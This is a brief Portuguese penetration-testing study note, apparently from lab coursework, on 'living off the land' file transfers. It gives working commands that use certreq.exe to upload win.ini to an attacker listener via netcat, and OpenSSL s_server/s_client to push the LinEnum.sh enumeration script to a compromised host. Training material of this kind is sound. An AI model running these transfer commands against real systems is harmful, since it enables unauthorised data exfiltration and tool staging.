Living off The Land

Usando o Projeto LOLBAS e GTFOBins

  • LOLBAS

  • Para procurar funções de download e upload no LOLBASarrow-up-right podemos usar /downloadou /upload.

  • Carregue win.ini para nossa Pwnbox

certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
  • Arquivo recebido em nossa sessão Netcat

sudo nc -lvnp 8000
  • GTFOBins

  • Crie um certificado em nossa Pwnbox

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
  • Levante o servidor em nossa Pwnbox

openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
  • Baixar arquivo da máquina comprometida

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Other Common Living off the Land tools

  • File Download with Bitsadmin

  • Download

  • Baixe um arquivo com Certutil

Last updated